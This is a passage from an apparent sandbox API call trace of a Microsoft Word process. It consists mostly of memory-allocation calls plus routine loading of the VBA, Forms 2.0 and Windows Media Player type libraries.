(This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05b40 [0111.355] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05b40) returned 0x20 [0111.356] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05b40) [0111.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a070 [0111.356] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b82a070) returned 0x30 [0111.356] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a070) [0111.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b881bf0 [0111.357] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) returned 0x48 [0111.358] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) [0111.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09230 [0111.358] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09230) returned 0x8 [0111.358] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09230) [0111.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0111.358] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) returned 0x10 [0111.358] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0111.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091e0 [0111.358] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) returned 0x8 [0111.359] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) [0111.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.359] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.359] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0111.359] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0111.359] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0111.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.359] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.359] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09110 [0111.359] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09110) returned 0x8 [0111.360] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09110) [0111.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f20 [0111.360] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) returned 0x10 [0111.360] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) [0111.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0111.360] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0111.360] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0111.361] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0111.361] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) returned 0x10 [0111.362] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0111.362] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09030 [0111.362] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09030) returned 0x8 [0111.362] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09030) [0111.362] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091f0 [0111.362] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091f0) returned 0x8 [0111.362] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091f0) [0111.362] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09050 [0111.362] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09050) returned 0x8 [0111.362] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09050) [0111.362] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09310 [0111.362] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09310) returned 0x8 [0111.363] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09310) [0111.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fa0 [0111.363] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fa0) returned 0x8 [0111.363] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fa0) [0111.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f40 [0111.363] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) returned 0x8 [0111.363] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) [0111.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0111.363] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0111.363] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0111.364] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.364] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b60) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a20) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c80) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6800) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6900) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e20) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68c0) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d00) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ac0) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6880) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0111.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67e0) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67c0) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c60) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d20) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6960) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ba0) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6da0) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6920) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ce0) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ae0) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69e0) [0111.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6940) [0111.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09240 [0111.369] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09240) returned 0x8 [0111.386] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6f20 [0111.386] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) returned 0x18 [0111.457] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09000 [0111.457] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09000) returned 0x8 [0111.468] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6a80 [0111.468] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a80) returned 0x18 [0111.477] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0111.477] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0111.481] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6860 [0111.481] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) returned 0x18 [0111.482] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09150 [0111.482] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09150) returned 0x8 [0111.501] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6cc0 [0111.501] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6cc0) returned 0x18 [0111.502] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0111.502] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0111.505] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6ca0 [0111.505] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) returned 0x18 [0111.506] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0111.506] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0112.033] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x7ff9e8160000 [0112.034] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001b1) returned 1 [0112.035] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="RegisterTypeLibForUser") returned 0x7ff9e8195640 [0112.035] RegisterTypeLibForUser (ptlib=0x2764b75ae80, szFullPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd", szHelpDir=0x0) returned 0x0 [0112.144] IUnknown:Release (This=0x2764b75ae80) returned 0xac [0112.152] LoadTypeLib (in: szFile="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd", pptlib=0xb5690f62b8*=0x0 | out: pptlib=0xb5690f62b8*=0x2764b865580) returned 0x0 [0112.156] IUnknown:QueryInterface (in: This=0x2764b865580, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6198 | out: ppvObject=0xb5690f6198*=0x0) returned 0x80004002 [0112.156] ITypeLib:RemoteGetLibAttr (in: This=0x2764b865580, ppTLibAttr=0xb5690f6190, pDummy=0xb5690f6198 | out: ppTLibAttr=0xb5690f6190, pDummy=0xb5690f6198*=0x0) returned 0x0 [0112.156] ITypeLib:RemoteGetDocumentation (in: This=0x2764b865580, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f6188, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000 | out: pBstrName=0xb5690f6188*="Microsoft Forms 2.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000) returned 0x0 [0112.156] StringFromGUID2 (in: rguid=0x2764bb05e40*(Data1=0x415cb841, Data2=0x9e3a, Data3=0x4967, Data4=([0]=0x80, [1]=0xa5, [2]=0xf5, [3]=0xe0, [4]=0x9, [5]=0x1e, [6]=0xea, [7]=0x39)), lpsz=0xb5690f61b0, cchMax=39 | out: lpsz="{415CB841-9E3A-4967-80A5-F5E0091EEA39}") returned 39 [0112.156] _ultow_s (in: _Value=0x2, _Buffer=0xb5690f60fa, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0112.156] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f60fe, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0112.156] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f6102, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0112.157] wcscpy_s (in: _Destination=0x2764b665558, _SizeInWords=0x8a, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0112.157] wcscpy_s (in: _Destination=0x2764b66555e, _SizeInWords=0x87, _Source="{415CB841-9E3A-4967-80A5-F5E0091EEA39}" | out: _Destination="{415CB841-9E3A-4967-80A5-F5E0091EEA39}") returned 0x0 [0112.157] wcscpy_s (in: _Destination=0x2764b6655aa, _SizeInWords=0x61, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0112.157] wcscpy_s (in: _Destination=0x2764b6655b8, _SizeInWords=0x5a, _Source="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd") returned 0x0 [0112.216] wcscpy_s (in: _Destination=0x2764b665626, _SizeInWords=0x23, _Source="Microsoft Forms 2.0 Object Library" | out: _Destination="Microsoft Forms 2.0 Object Library") returned 0x0 [0112.216] ITypeLib:LocalReleaseTLibAttr (This=0x2764b865580) returned 0x0 [0112.216] wcscpy_s (in: _Destination=0x2764b24a600, _SizeInWords=0x8a, _Source="*\\G{415CB841-9E3A-4967-80A5-F5E0091EEA39}#2.0#0#C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{415CB841-9E3A-4967-80A5-F5E0091EEA39}#2.0#0#C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd#Microsoft Forms 2.0 Object Library") returned 0x0 [0112.216] ITypeLib:RemoteGetDocumentation (in: This=0x2764b865580, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f7820 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f7820) returned 0x0 [0112.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd#Microsoft Forms 2.0 Object Library", cchWideChar=54, lpMultiByteStr=0xb5690f61f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd", lpUsedDefaultChar=0x0) returned 54 [0112.216] strcpy_s (in: _Dst=0x2764b66b8e0, _DstSize=0x37, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd") returned 0x0 [0112.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MSForms", cchWideChar=8, lpMultiByteStr=0xb5690f6300, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSForms", lpUsedDefaultChar=0x0) returned 8 [0112.217] IUnknown:AddRef (This=0x2764b865580) returned 0x3 [0112.217] ITypeLib:LocalReleaseTLibAttr (This=0x2764b865580) returned 0x0 [0112.217] IUnknown:Release (This=0x2764b865580) returned 0x2 [0112.217] IUnknown:Release (This=0x2763beee850) returned 0x2 [0112.217] _wcsicmp (_String1="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 6 [0112.217] _wcsicmp (_String1="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 6 [0112.217] _wcsicmp (_String1="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 6 [0112.217] _wcsicmp (_String1="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player", _String2="*\\CNormal") returned 4 [0112.217] _wcsicmp (_String1="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 4 [0112.217] _wcsicmp (_String1="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player", _String2="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 6 [0112.218] _wcsicmp (_String1="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player", _String2="*\\G{415CB841-9E3A-4967-80A5-F5E0091EEA39}#2.0#0#C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd#Microsoft Forms 2.0 Object Library") returned 2 [0112.218] _wcsicmp (_String1="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player", _String2="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player") returned 0 [0112.218] IUnknown:AddRef (This=0x2764b6d0130) returned 0x2 [0112.218] ITypeLib:RemoteGetDocumentation (in: This=0x2764b6d0130, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0112.222] IUnknown:AddRef (This=0x2764af38668) returned 0x3 [0112.222] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xf8) returned 0x2764b7f90f0 [0112.223] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2764bb5bd20 [0112.223] wcscpy_s (in: _Destination=0x2764bb5bd20, _SizeInWords=0x2c, _Source="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned 0x0 [0112.223] LoadTypeLib (in: szFile="C:\\WINDOWS\\system32\\wmp.dll", pptlib=0xb5690f60e8*=0x0 | out: pptlib=0xb5690f60e8*=0x2764b6d0130) returned 0x0 [0112.223] ITypeLib:RemoteGetDocumentation (in: This=0x2764b6d0130, index=-1, refPtrFlags=0x690f6100, pBstrName=0xb5690f6138, pBstrDocString=0xb5690f6178, pdwHelpContext=0xb5690f6128, pBstrHelpFile=0x0 | out: pBstrName=0xb5690f6138*="Windows Media Player", pBstrDocString=0xb5690f6178, pdwHelpContext=0xb5690f6128*=0x0, pBstrHelpFile=0x0) returned 0x0 [0112.223] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x6c) returned 0x2764bb1d7c0 [0112.223] wcscpy_s (in: _Destination=0x2764bb1d7c0, _SizeInWords=0x36, _Source="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\") returned 0x0 [0112.223] wcscat_s (in: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\", _SizeInWords=0x36, _Source="WMPLib" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib") returned 0x0 [0112.223] wcscat_s (in: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib", _SizeInWords=0x36, _Source=".exd" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd") returned 0x0 [0112.223] ITypeLib:RemoteGetLibAttr (in: This=0x2764b6d0130, ppTLibAttr=0xb5690f60f0, pDummy=0x7ff9be1d8f02 | out: ppTLibAttr=0xb5690f60f0, pDummy=0x7ff9be1d8f02*=0x0) returned 0x0 [0112.223] LoadTypeLibEx (in: szFile="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd", regkind=0x2, pptlib=0xb5690f62b8*=0x0 | out: pptlib=0xb5690f62b8*=0x0) returned 0x80029c4a [0112.605] CoCreateGuid (in: pguid=0xb5690f6118 | out: pguid=0xb5690f6118*(Data1=0x1e50d3f6, Data2=0x45d6, Data3=0x4403, Data4=([0]=0xbb, [1]=0x83, [2]=0xfa, [3]=0x62, [4]=0xbc, [5]=0x4f, [6]=0xf5, [7]=0x24))) returned 0x0 [0112.605] IUnknown:AddRef (This=0x2764b6d0130) returned 0x6 [0112.605] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xba4) returned 0x276529dfc80 [0112.606] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276529dfc80) returned 0xba4 [0112.606] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb035f0 [0112.606] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb03620 [0112.606] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03650 [0112.606] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03a70 [0112.606] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03b00 [0112.607] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03470 [0112.607] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb03ce0 [0112.607] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b827b70 [0112.607] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03680 [0112.607] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03350 [0112.607] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b827fb0 [0112.607] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb039b0 [0112.608] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b827bf0 [0112.608] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03b30 [0112.608] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03440 [0112.608] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03320 [0112.608] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6f20 [0112.608] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7f80 [0112.609] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03b60 [0112.609] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03b90 [0112.609] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb03380 [0112.609] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb033b0 [0112.609] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb036b0 [0112.609] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb036e0 [0112.609] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb03410 [0112.610] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03bf0 [0112.610] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03d10 [0112.610] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7fe0 [0112.610] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03710 [0112.610] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb034a0 [0112.610] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03da0 [0112.611] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03740 [0112.611] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb037d0 [0112.611] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb03770 [0112.611] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb03dd0 [0112.611] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb037a0 [0112.611] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb033e0 [0112.611] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x50) returned 0x2764bb5cc80 [0112.611] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x50) returned 0x2764bb5bc60 [0112.616] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764bb5cc80, cb=0xa0) returned 0x2764ae66230 [0112.616] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764bb5bc60, cb=0xa0) returned 0x2764ae64fa0 [0112.622] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae66230, cb=0xf0) returned 0x2764b7f93f0 [0112.622] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ae64fa0, cb=0xf0) returned 0x2764b7f91f0 [0112.623] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{6BF52A52-394A-11D3-B153-00C04F79FAA6}", 